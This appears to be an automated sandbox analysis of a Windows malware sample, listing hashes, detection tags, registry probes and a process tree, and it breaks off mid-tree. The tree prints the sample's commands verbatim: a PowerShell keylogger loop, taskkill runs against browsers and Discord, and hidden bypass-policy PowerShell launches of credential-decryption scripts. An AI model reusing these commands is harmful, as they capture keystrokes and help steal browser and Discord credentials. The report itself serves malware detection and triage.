8c5206db8b597661f7ef27784702ee20551c78bcc9777e5391c66ed807ccd713

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/05/2026, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Size 77.2MB
Sample260517-cs6gjsfv3p
SHA256 8c5206db8b597661f7ef27784702ee20551c78bcc9777e5391c66ed807ccd713
MD5 cf93c238291792533504c552a49a5903
SHA1 8f028245d555387cdb6424f4d4bb01a21bc8414c
SHA512 7cd394e1fc61be83ed6d197f6affd10a648067905d88637d13f658795fc0fe8949d17dc87306b3372c7c5af3db441d7ae2a1a351d2fd5317d4147441f916afed
SSDEEP 393216:dAsN5fijNgTxNmDJdAJr/NYeerl/CAvYXJu1ZzlxlO7EnmvwjfIZVFxep8MI2w/I:dJUfzDIj20mvt5m6dG/ubi
TLSH
T103085B6262AA05B5E9FFBA3495E24D13DE72BC076B3081CB3348173A1F736E09976711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe
1232	powershell.exe
1168	powershell.exe
4252	powershell.exe
4928	powershell.exe
4132	powershell.exe
1280	powershell.exe
2636	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe

Executes dropped EXE 41 IoCs

pid	Process
4072	_sq3e_3rw.exe
4064	_sq3e_3rw.exe
3408	_sq3e_3rw.exe
536	_sq3e_3rw.exe
2164	_sq3e_3rw.exe
4284	_sq3e_3rw.exe
456	_sq3e_3rw.exe
2324	_sq3e_3rw.exe
4116	_sq3e_3rw.exe
3184	_sq3e_3rw.exe
864	_sq3e_3rw.exe
3252	_sq3e_3rw.exe
1840	_sq3e_3rw.exe
4296	_sq3e_3rw.exe
3468	_sq3e_3rw.exe
4016	_sq3e_3rw.exe
3204	_sq3e_3rw.exe
5096	_sq3e_3rw.exe
2584	_sq3e_3rw.exe
4548	_sq3e_3rw.exe
4236	_sq3e_3rw.exe
4460	_sq3e_3rw.exe
3560	_sq3e_3rw.exe
2412	_sq3e_3rw.exe
4632	_sq3e_3rw.exe
1264	_sq3e_3rw.exe
2952	_sq3e_3rw.exe
4480	_sq3e_3rw.exe
1608	_sq3e_3rw.exe
1612	_sq3e_3rw.exe
3524	_sq3e_3rw.exe
4064	_sq3e_3rw.exe
2896	_sq3e_3rw.exe
468	_sq3e_3rw.exe
4888	_sq3e_3rw.exe
4732	_sq3e_3rw.exe
628	_sq3e_3rw.exe
3868	_sq3e_3rw.exe
3104	_sq3e_3rw.exe
1532	_sq3e_3rw.exe
1428	_sq3e_3rw.exe

Loads dropped DLL 3 IoCs

pid	Process
4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe

Kills process with taskkill 23 IoCs

defense_evasion

pid	Process
3184	taskkill.exe
1688	taskkill.exe
3684	taskkill.exe
548	taskkill.exe
4432	taskkill.exe
836	taskkill.exe
3544	taskkill.exe
4296	taskkill.exe
2928	taskkill.exe
2364	taskkill.exe
4024	taskkill.exe
1756	taskkill.exe
2240	taskkill.exe
980	taskkill.exe
4012	taskkill.exe
4760	taskkill.exe
1796	taskkill.exe
5024	taskkill.exe
3524	taskkill.exe
3148	taskkill.exe
536	taskkill.exe
1068	taskkill.exe
3492	taskkill.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2636	powershell.exe
2636	powershell.exe
1168	powershell.exe
1168	powershell.exe
1168	powershell.exe
4252	powershell.exe
4252	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
1540	powershell.exe
1540	powershell.exe
4132	powershell.exe
4132	powershell.exe
1280	powershell.exe
1280	powershell.exe
1232	powershell.exe
1232	powershell.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	3524	taskkill.exe
Token: SeDebugPrivilege	3148	taskkill.exe
Token: SeDebugPrivilege	536	taskkill.exe
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	1068	taskkill.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	4252	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	4432	taskkill.exe
Token: SeDebugPrivilege	2240	taskkill.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	2928	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	4012	taskkill.exe
Token: SeDebugPrivilege	3492	taskkill.exe
Token: SeDebugPrivilege	4024	taskkill.exe
Token: SeDebugPrivilege	836	taskkill.exe
Token: SeDebugPrivilege	4760	taskkill.exe
Token: SeDebugPrivilege	1796	taskkill.exe
Token: SeDebugPrivilege	3544	taskkill.exe
Token: SeDebugPrivilege	5024	taskkill.exe
Token: SeDebugPrivilege	3184	taskkill.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	3684	taskkill.exe
Token: SeDebugPrivilege	4296	taskkill.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 2636	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	88
PID 4892 wrote to memory of 1424	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	89
PID 1424 wrote to memory of 548	1424	cmd.exe	92
PID 4892 wrote to memory of 2672	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	94
PID 2636 wrote to memory of 4056	2636	powershell.exe	95
PID 2672 wrote to memory of 3524	2672	cmd.exe	97
PID 4892 wrote to memory of 4328	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	98
PID 4328 wrote to memory of 3148	4328	cmd.exe	100
PID 4056 wrote to memory of 4024	4056	csc.exe	101
PID 4892 wrote to memory of 4128	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	102
PID 4128 wrote to memory of 536	4128	cmd.exe	104
PID 4892 wrote to memory of 2628	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	105
PID 2628 wrote to memory of 1756	2628	cmd.exe	107
PID 4892 wrote to memory of 216	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	108
PID 216 wrote to memory of 1068	216	cmd.exe	110
PID 4892 wrote to memory of 3960	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	111
PID 3960 wrote to memory of 1168	3960	cmd.exe	113
PID 1168 wrote to memory of 4032	1168	powershell.exe	114
PID 4032 wrote to memory of 4604	4032	csc.exe	115
PID 4892 wrote to memory of 4316	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	116
PID 4316 wrote to memory of 4252	4316	cmd.exe	185
PID 4892 wrote to memory of 2848	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	120
PID 2848 wrote to memory of 4928	2848	cmd.exe	122
PID 4928 wrote to memory of 4332	4928	powershell.exe	123
PID 4332 wrote to memory of 2332	4332	csc.exe	124
PID 4928 wrote to memory of 4420	4928	powershell.exe	125
PID 4420 wrote to memory of 4464	4420	csc.exe	126
PID 4892 wrote to memory of 4072	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	127
PID 4892 wrote to memory of 4064	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	198
PID 4892 wrote to memory of 3408	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	131
PID 4892 wrote to memory of 536	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	133
PID 4892 wrote to memory of 2164	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	239
PID 4892 wrote to memory of 4284	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	137
PID 4892 wrote to memory of 456	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	139
PID 4892 wrote to memory of 2324	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	141
PID 4892 wrote to memory of 4116	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	143
PID 4892 wrote to memory of 3184	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	253
PID 4892 wrote to memory of 864	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	147
PID 4892 wrote to memory of 3252	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	149
PID 4892 wrote to memory of 1840	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	151
PID 4892 wrote to memory of 4296	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	262
PID 4892 wrote to memory of 3468	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	155
PID 4892 wrote to memory of 4016	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	157
PID 4892 wrote to memory of 3204	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	159
PID 4892 wrote to memory of 5096	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	161
PID 4892 wrote to memory of 2584	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	163
PID 4892 wrote to memory of 4548	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	165
PID 4892 wrote to memory of 4744	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	167
PID 4744 wrote to memory of 4432	4744	cmd.exe	237
PID 4892 wrote to memory of 1860	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	170
PID 1860 wrote to memory of 2240	1860	cmd.exe	172
PID 4892 wrote to memory of 3116	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	173
PID 3116 wrote to memory of 1540	3116	cmd.exe	175
PID 4892 wrote to memory of 4236	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	176
PID 4892 wrote to memory of 4460	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	254
PID 4892 wrote to memory of 3560	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	180
PID 4892 wrote to memory of 2412	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	182
PID 4892 wrote to memory of 4632	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	184
PID 4892 wrote to memory of 1264	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	186
PID 4892 wrote to memory of 2952	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	188
PID 4892 wrote to memory of 4480	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	190
PID 4892 wrote to memory of 1608	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	192
PID 4892 wrote to memory of 1612	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	194
PID 4892 wrote to memory of 3524	4892	2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_cf93c238291792533504c552a49a5903_akira_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_vidar_zxxz.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern short GetAsyncKeyState(int v);' -Name \"W\" -Namespace \"N\" -PassThru | Out-Null; while($true){ for($i=8; $i -le 190; $i++){ if([N.W]::GetAsyncKeyState($i) -band 0x8000){ if(!$p[$i]){ Write-Output $i; $p[$i]=$true } }else{$p[$i]=$false} }; Start-Sleep -m 20 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gr2lxjn4\gr2lxjn4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4056
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FD7.tmp" "c:\Users\Admin\AppData\Local\Temp\gr2lxjn4\CSC1CA59BC1649C4BD1BAFEE0D340BC239A.TMP"
      4⤵
      PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "Discord.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "Discord.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordCanary.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordCanary.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordPTB.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordPTB.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordDevelopment.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordDevelopment.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280922887_w117b.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1779280922887_w117b.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ppjmqddo\ppjmqddo.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4032
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES23FE.tmp" "c:\Users\Admin\AppData\Local\Temp\ppjmqddo\CSCEB962B5CFC1046E2928DAB4F286FE72.TMP"
        5⤵
        
        PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280923371_n4wbwk.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1779280923371_n4wbwk.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1779280923684_smdyan.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1779280923684_smdyan.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yoj1fufu\yoj1fufu.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4332
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
